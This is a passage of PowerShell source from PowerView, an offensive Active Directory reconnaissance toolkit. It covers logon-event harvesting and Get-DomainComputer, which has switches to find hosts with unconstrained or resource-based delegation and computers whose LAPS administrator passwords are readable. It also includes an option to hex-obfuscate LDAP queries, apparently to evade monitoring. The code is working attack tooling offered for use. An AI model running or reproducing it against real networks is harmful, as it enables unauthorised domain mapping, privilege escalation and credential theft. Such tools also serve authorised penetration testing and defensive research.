@Name='Microsoft-Windows-Security-Auditing'
|
|
]
|
|
and (Level=4 or Level=0) and (EventID=4648)
|
|
and TimeCreated[
|
|
@SystemTime>='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime<='$($EndTime.ToUniversalTime().ToString('s'))'
|
|
]
|
|
]
|
|
]
|
|
</Select>
|
|
|
|
<Suppress Path="Security">
|
|
*[
|
|
System[
|
|
Provider[
|
|
@Name='Microsoft-Windows-Security-Auditing'
|
|
]
|
|
and
|
|
(Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634)
|
|
]
|
|
]
|
|
and
|
|
*[
|
|
EventData[
|
|
(
|
|
(Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0')
|
|
or
|
|
Data[@Name='TargetUserName']='ANONYMOUS LOGON'
|
|
or
|
|
Data[@Name='TargetUserSID']='S-1-5-18'
|
|
)
|
|
]
|
|
]
|
|
</Suppress>
|
|
</Query>
|
|
</QueryList>
|
|
"@
|
|
$EventArguments = @{
|
|
'FilterXPath' = $XPathFilter
|
|
'LogName' = 'Security'
|
|
'MaxEvents' = $MaxEvents
|
|
}
|
|
if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential }
|
|
}
|
|
|
|
PROCESS {
|
|
ForEach ($Computer in $ComputerName) {
|
|
|
|
$EventArguments['ComputerName'] = $Computer
|
|
|
|
Get-WinEvent @EventArguments| ForEach-Object {
|
|
$Event = $_
|
|
$Properties = $Event.Properties
|
|
Switch ($Event.Id) {
|
|
# logon event
|
|
4624 {
|
|
# skip computer logons, for now...
|
|
if(-not $Properties[5].Value.EndsWith('$')) {
|
|
$Output = New-Object PSObject -Property @{
|
|
ComputerName = $Computer
|
|
TimeCreated = $Event.TimeCreated
|
|
EventId = $Event.Id
|
|
SubjectUserSid = $Properties[0].Value.ToString()
|
|
SubjectUserName = $Properties[1].Value
|
|
SubjectDomainName = $Properties[2].Value
|
|
SubjectLogonId = $Properties[3].Value
|
|
TargetUserSid = $Properties[4].Value.ToString()
|
|
TargetUserName = $Properties[5].Value
|
|
TargetDomainName = $Properties[6].Value
|
|
TargetLogonId = $Properties[7].Value
|
|
LogonType = $Properties[8].Value
|
|
LogonProcessName = $Properties[9].Value
|
|
AuthenticationPackageName = $Properties[10].Value
|
|
WorkstationName = $Properties[11].Value
|
|
LogonGuid = $Properties[12].Value
|
|
TransmittedServices = $Properties[13].Value
|
|
LmPackageName = $Properties[14].Value
|
|
KeyLength = $Properties[15].Value
|
|
ProcessId = $Properties[16].Value
|
|
ProcessName = $Properties[17].Value
|
|
IpAddress = $Properties[18].Value
|
|
IpPort = $Properties[19].Value
|
|
ImpersonationLevel = $Properties[20].Value
|
|
RestrictedAdminMode = $Properties[21].Value
|
|
TargetOutboundUserName = $Properties[22].Value
|
|
TargetOutboundDomainName = $Properties[23].Value
|
|
VirtualAccount = $Properties[24].Value
|
|
TargetLinkedLogonId = $Properties[25].Value
|
|
ElevatedToken = $Properties[26].Value
|
|
}
|
|
$Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonEvent')
|
|
$Output
|
|
}
|
|
}
|
|
|
|
# logon with explicit credential
|
|
4648 {
|
|
# skip computer logons, for now...
|
|
if((-not $Properties[5].Value.EndsWith('$')) -and ($Properties[11].Value -match 'taskhost\.exe')) {
|
|
$Output = New-Object PSObject -Property @{
|
|
ComputerName = $Computer
|
|
TimeCreated = $Event.TimeCreated
|
|
EventId = $Event.Id
|
|
SubjectUserSid = $Properties[0].Value.ToString()
|
|
SubjectUserName = $Properties[1].Value
|
|
SubjectDomainName = $Properties[2].Value
|
|
SubjectLogonId = $Properties[3].Value
|
|
LogonGuid = $Properties[4].Value.ToString()
|
|
TargetUserName = $Properties[5].Value
|
|
TargetDomainName = $Properties[6].Value
|
|
TargetLogonGuid = $Properties[7].Value
|
|
TargetServerName = $Properties[8].Value
|
|
TargetInfo = $Properties[9].Value
|
|
ProcessId = $Properties[10].Value
|
|
ProcessName = $Properties[11].Value
|
|
IpAddress = $Properties[12].Value
|
|
IpPort = $Properties[13].Value
|
|
}
|
|
$Output.PSObject.TypeNames.Insert(0, 'PowerView.ExplicitCredentialLogonEvent')
|
|
$Output
|
|
}
|
|
}
|
|
default {
|
|
Write-Warning "No handler exists for event ID: $($Event.Id)"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainGUIDMap {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainSearcher, Get-Forest
|
|
|
|
.DESCRIPTION
|
|
|
|
Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for
|
|
all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names.
|
|
Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=local)
|
|
for objects where objectClass=controlAccessRight, translating the GUIDs again.
|
|
|
|
Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER SSL
|
|
|
|
Switch. Use SSL for the connection to the LDAP server.
|
|
|
|
.PARAMETER Obfuscate
|
|
|
|
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
|
|
|
|
.OUTPUTS
|
|
|
|
Hashtable
|
|
|
|
Ouputs a hashtable containing a GUID -> Readable Name mapping.
|
|
|
|
.LINK
|
|
|
|
http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType([Hashtable])]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$SSL,
|
|
|
|
[Switch]
|
|
$Obfuscate
|
|
)
|
|
|
|
$GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}
|
|
|
|
$ForestArguments = @{}
|
|
if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential }
|
|
$DomainDNArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $DomainDNArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $DomainDNArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['Credential']) { $DomainDNArguments['Credential'] = $Credential }
|
|
if ($PSBoundParameters['SSL']) { $DomainDNArguments['SSL'] = $SSL }
|
|
|
|
|
|
try {
|
|
$SchemaPath = (Get-Forest @ForestArguments).schema.name
|
|
}
|
|
catch {
|
|
$DomainDN = Get-DomainDN @DomainDNArguments
|
|
if ($DomainDN) {
|
|
$SchemaPath = "CN=Schema,CN=Configuration,$($DomainDN)"
|
|
}
|
|
}
|
|
if (-not $SchemaPath) {
|
|
throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest'
|
|
}
|
|
|
|
$SearcherArguments = @{
|
|
'SearchBase' = $SchemaPath
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
|
|
|
|
$LDAPFilter = '(schemaIDGUID=*)'
|
|
try {
|
|
$Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$LDAPFilter"
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
|
|
$Prop = @{}
|
|
foreach ($a in $_.Attributes.Keys | Sort-Object) {
|
|
if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or $a -eq 'schemaidguid') {
|
|
$Prop[$a] = $_.Attributes[$a]
|
|
}
|
|
else {
|
|
$Values = @()
|
|
foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {
|
|
$Values += [System.Text.Encoding]::UTF8.GetString($v)
|
|
}
|
|
$Prop[$a] = $Values
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
$Prop = $_.Properties
|
|
}
|
|
|
|
$GUIDs[(New-Object Guid (,$Prop.schemaidguid[0])).Guid] = $Prop.name[0]
|
|
}
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_"
|
|
}
|
|
}
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_"
|
|
}
|
|
|
|
$SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights')
|
|
$LDAPFilter = '(objectClass=controlAccessRight)'
|
|
|
|
try {
|
|
$Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$LDAPFilter"
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
|
|
$Prop = @{}
|
|
foreach ($a in $_.Attributes.Keys | Sort-Object) {
|
|
if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) {
|
|
$Prop[$a] = $_.Attributes[$a]
|
|
}
|
|
else {
|
|
$Values = @()
|
|
foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {
|
|
$Values += [System.Text.Encoding]::UTF8.GetString($v)
|
|
}
|
|
$Prop[$a] = $Values
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
$Prop = $_.Properties
|
|
}
|
|
|
|
$GUIDs[$Prop.rightsguid[0].toString()] = $Prop.name[0]
|
|
}
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_"
|
|
}
|
|
}
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_"
|
|
}
|
|
|
|
$GUIDs
|
|
}
|
|
|
|
|
|
function Get-DomainComputer {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Return all computers or specific computer objects in AD.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
|
|
|
|
.DESCRIPTION
|
|
|
|
Builds a directory searcher object using Get-DomainSearcher, builds a custom
|
|
LDAP filter based on targeting/filter parameters, and searches for all objects
|
|
matching the criteria. To only return specific properties, use
|
|
"-Properties samaccountname,usnchanged,...". By default, all computer objects for
|
|
the current domain are returned.
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
|
|
or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.
|
|
|
|
.PARAMETER UACFilter
|
|
|
|
Dynamic parameter that accepts one or more values from $UACEnum, including
|
|
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
|
|
|
|
.PARAMETER Unconstrained
|
|
|
|
Switch. Return computer objects that have unconstrained delegation.
|
|
|
|
.PARAMETER TrustedToAuth
|
|
|
|
Switch. Return computer objects that are trusted to authenticate for other principals.
|
|
|
|
.PARAMETER RBCD
|
|
|
|
Switch. Return computer objects that are configured to allow resource-based constrained delegation.
|
|
|
|
.PARAMETER Printers
|
|
|
|
Switch. Return only printers.
|
|
|
|
.PARAMETER ExcludeDCs
|
|
|
|
Switch. Do not return domain controllers.
|
|
|
|
.PARAMETER SPN
|
|
|
|
Return computers with a specific service principal name, wildcards accepted.
|
|
|
|
.PARAMETER OperatingSystem
|
|
|
|
Return computers with a specific operating system, wildcards accepted.
|
|
|
|
.PARAMETER ServicePack
|
|
|
|
Return computers with a specific service pack, wildcards accepted.
|
|
|
|
.PARAMETER SiteName
|
|
|
|
Return computers in the specific AD Site name, wildcards accepted.
|
|
|
|
.PARAMETER Ping
|
|
|
|
Switch. Ping each host to ensure it's up before enumerating.
|
|
|
|
.PARAMETER LastLogon
|
|
|
|
Return computers that have logged on within a number of days.
|
|
|
|
.PARAMETER HasLAPS
|
|
|
|
Switch. Return computers with LAPS enabled.
|
|
|
|
.PARAMETER NoLAPS
|
|
|
|
Switch. Return computers without LAPS enabled.
|
|
|
|
.PARAMETER CanReadLAPS
|
|
|
|
Switch. Return computers where the LAPS password is readable.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER SecurityMasks
|
|
|
|
Specifies an option for examining security information of a directory object.
|
|
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER FindOne
|
|
|
|
Only return one result object.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER Raw
|
|
|
|
Switch. Return raw results instead of translating the fields into a custom PSObject.
|
|
|
|
.PARAMETER SSL
|
|
|
|
Switch. Use SSL for the connection to the LDAP server.
|
|
|
|
.PARAMETER Obfuscate
|
|
|
|
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainComputer
|
|
|
|
Returns the current computers in current domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainComputer -SPN mssql* -Domain testlab.local
|
|
|
|
Returns all MS SQL servers in the testlab.local domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainComputer -UACFilter TRUSTED_FOR_DELEGATION,SERVER_TRUST_ACCOUNT -Properties dnshostname
|
|
|
|
Return the dns hostnames of servers trusted for delegation.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained
|
|
|
|
Search the specified OU for computeres that allow unconstrained delegation.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainComputer -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.Computer
|
|
|
|
Custom PSObject with translated computer property fields.
|
|
|
|
PowerView.Computer.Raw
|
|
|
|
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
|
|
#>
|
|
|
|
[OutputType('PowerView.Computer')]
|
|
[OutputType('PowerView.Computer.Raw')]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('SamAccountName', 'Name', 'DNSHostName')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[Switch]
|
|
$Unconstrained,
|
|
|
|
[Switch]
|
|
$TrustedToAuth,
|
|
|
|
[Switch]
|
|
$RBCD,
|
|
|
|
[Switch]
|
|
$Printers,
|
|
|
|
[Switch]
|
|
$ExcludeDCs,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ServicePrincipalName')]
|
|
[String]
|
|
$SPN,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$OperatingSystem,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ServicePack,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$SiteName,
|
|
|
|
[Switch]
|
|
$Ping,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$LastLogon,
|
|
|
|
[Switch]
|
|
$HasLAPS,
|
|
|
|
[Switch]
|
|
$NoLAPS,
|
|
|
|
[Switch]
|
|
$CanReadLAPS,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
|
|
[String]
|
|
$SecurityMasks,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Alias('ReturnOne')]
|
|
[Switch]
|
|
$FindOne,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$Raw,
|
|
|
|
[Switch]
|
|
$SSL,
|
|
|
|
[Switch]
|
|
$Obfuscate
|
|
)
|
|
|
|
DynamicParam {
|
|
$UACValueNames = [Enum]::GetNames($UACEnum)
|
|
# add in the negations
|
|
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
|
|
# create new dynamic parameter
|
|
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
|
|
}
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
|
|
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
|
|
if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne }
|
|
|
|
$DNSearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $DNSearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $DNSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SSL']) { $DNSearcherArguments['SSL'] = $SSL }
|
|
if ($PSBoundParameters['Obfuscate']) {$DNSearcherArguments['Obfuscate'] = $Obfuscate }
|
|
|
|
}
|
|
|
|
PROCESS {
|
|
#bind dynamic parameter to a friendly variable
|
|
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
|
|
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
|
|
}
|
|
|
|
$IdentityFilter = ''
|
|
$Filter = ''
|
|
$Identity | Where-Object {$_} | ForEach-Object {
|
|
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
|
|
if ($IdentityInstance -match '^S-1-') {
|
|
$IdentityFilter += "(objectsid=$IdentityInstance)"
|
|
}
|
|
elseif ($IdentityInstance -match '^CN=') {
|
|
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
|
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
|
|
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
|
|
# and rebuild the domain searcher
|
|
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
|
|
$SearcherArguments['Domain'] = $IdentityDomain
|
|
$CompSearcher = Get-DomainSearcher @SearcherArguments
|
|
if (-not $CompSearcher) {
|
|
Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'"
|
|
}
|
|
}
|
|
}
|
|
elseif ($IdentityInstance.Contains('.')) {
|
|
$IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
|
|
}
|
|
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
|
|
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
|
|
$IdentityFilter += "(objectguid=$GuidByteString)"
|
|
}
|
|
else {
|
|
$IdentityFilter += "(name=$IdentityInstance)"
|
|
}
|
|
}
|
|
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
|
|
$Filter += "(|$IdentityFilter)"
|
|
}
|
|
|
|
if ($PSBoundParameters['Unconstrained']) {
|
|
Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation'
|
|
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
|
|
}
|
|
if ($PSBoundParameters['TrustedToAuth']) {
|
|
Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals'
|
|
$Filter += '(msds-allowedtodelegateto=*)'
|
|
}
|
|
if ($PSBoundParameters['RBCD']) {
|
|
Write-Verbose '[Get-DomainComputer] Searching for computers that are configured to allow resource-based constrained delegation'
|
|
$Filter += '(msds-allowedtoactonbehalfofotheridentity=*)'
|
|
}
|
|
if ($PSBoundParameters['Printers']) {
|
|
Write-Verbose '[Get-DomainComputer] Searching for printers'
|
|
$Filter += '(objectCategory=printQueue)'
|
|
}
|
|
if ($PSBoundParameters['ExcludeDCs']) {
|
|
Write-Verbose '[Get-DomainComputer] Excluding domain controllers'
|
|
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=8192))'
|
|
}
|
|
if ($PSBoundParameters['SPN']) {
|
|
Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN"
|
|
$Filter += "(servicePrincipalName=$SPN)"
|
|
}
|
|
if ($PSBoundParameters['OperatingSystem']) {
|
|
Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem"
|
|
$Filter += "(operatingsystem=$OperatingSystem)"
|
|
}
|
|
if ($PSBoundParameters['ServicePack']) {
|
|
Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack"
|
|
$Filter += "(operatingsystemservicepack=$ServicePack)"
|
|
}
|
|
if ($PSBoundParameters['SiteName']) {
|
|
Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName"
|
|
$Filter += "(serverreferencebl=$SiteName)"
|
|
}
|
|
if ($PSBoundParameters['LastLogon']) {
|
|
Write-Verbose "[Get-DomainComputer] Searching for computer accounts that have logged on within the last $PSBoundParameters['LastLogon'] days"
|
|
$LogonDate = (Get-Date).AddDays(-$PSBoundParameters['LastLogon']).ToFileTime()
|
|
$Filter += "(lastlogon>=$LogonDate)"
|
|
}
|
|
if (($PSBoundParameters['HasLAPS']) -or ($PSBoundParameters['NoLAPS']) -or ($PSBoundParameters['CanReadLAPS'])) {
|
|
$SchemaDN = "CN=Schema,CN=Configuration,$(Get-DomainDN @DNSearcherArguments)"
|
|
$AttrFilter = ''
|
|
Write-Verbose "[Get-DomainComputer] Using distinguished name: $SchemaDN"
|
|
if ($PSBoundParameters['HasLAPS']) {
|
|
# Searching for attribute name, which can differ as per pingcastle by @vletoux
|
|
# https://github.com/vletoux/pingcastle/blob/master/Scanners/LAPSBitLocker.cs
|
|
Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(name=ms-*-admpwd*)" -Properties 'name' @SearcherArguments | select -expand name | ForEach-Object {
|
|
Write-Verbose "[Get-DomainComputer] Searching for attribute: $_"
|
|
$AttrFilter += "($_=*)"
|
|
}
|
|
if ($AttrFilter) { $Filter += "(|$AttrFilter)" }
|
|
}
|
|
if ($PSBoundParameters['NoLAPS']) {
|
|
# Searching for attribute name, which can differ as per pingcastle by @vletoux
|
|
# https://github.com/vletoux/pingcastle/blob/master/Scanners/LAPSBitLocker.cs
|
|
Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(name=ms-*-admpwd*)" -Properties 'name' @SearcherArguments | select -expand name | ForEach-Object {
|
|
Write-Verbose "[Get-DomainComputer] Searching for attribute: $_"
|
|
$AttrFilter += "(!($_=*))"
|
|
}
|
|
if ($AttrFilter) { $Filter += "(&$AttrFilter)" }
|
|
}
|
|
if ($PSBoundParameters['CanReadLAPS']) {
|
|
# Searching for attribute name, which can differ as per pingcastle by @vletoux
|
|
# https://github.com/vletoux/pingcastle/blob/master/Scanners/LAPSBitLocker.cs
|
|
Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(name=ms-*-admpwd)" -Properties 'name' @SearcherArguments | select -expand name | ForEach-Object {
|
|
Write-Verbose "[Get-DomainComputer] Searching for attribute: $_"
|
|
$AttrFilter += "($_=*)"
|
|
}
|
|
if ($AttrFilter) { $Filter += "(|$AttrFilter)" }
|
|
}
|
|
}
|
|
if ($PSBoundParameters['LDAPFilter']) {
|
|
Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter"
|
|
$Filter += "$LDAPFilter"
|
|
}
|
|
# build the LDAP filter for the dynamic UAC filter value
|
|
$UACFilter | Where-Object {$_} | ForEach-Object {
|
|
if ($_ -match 'NOT_.*') {
|
|
$UACField = $_.Substring(4)
|
|
$UACValue = [Int]($UACEnum::$UACField)
|
|
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
|
|
}
|
|
else {
|
|
$UACValue = [Int]($UACEnum::$_)
|
|
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
|
|
}
|
|
}
|
|
|
|
|
|
|
|
$Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "(&(samAccountType=805306369)$Filter)"
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
|
|
$Prop = @{}
|
|
foreach ($a in $_.Attributes.Keys | Sort-Object) {
|
|
if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) {
|
|
$Prop[$a] = $_.Attributes[$a]
|
|
}
|
|
else {
|
|
$Values = @()
|
|
foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {
|
|
$Values += [System.Text.Encoding]::UTF8.GetString($v)
|
|
}
|
|
$Prop[$a] = $Values
|
|
}
|
|
}
|
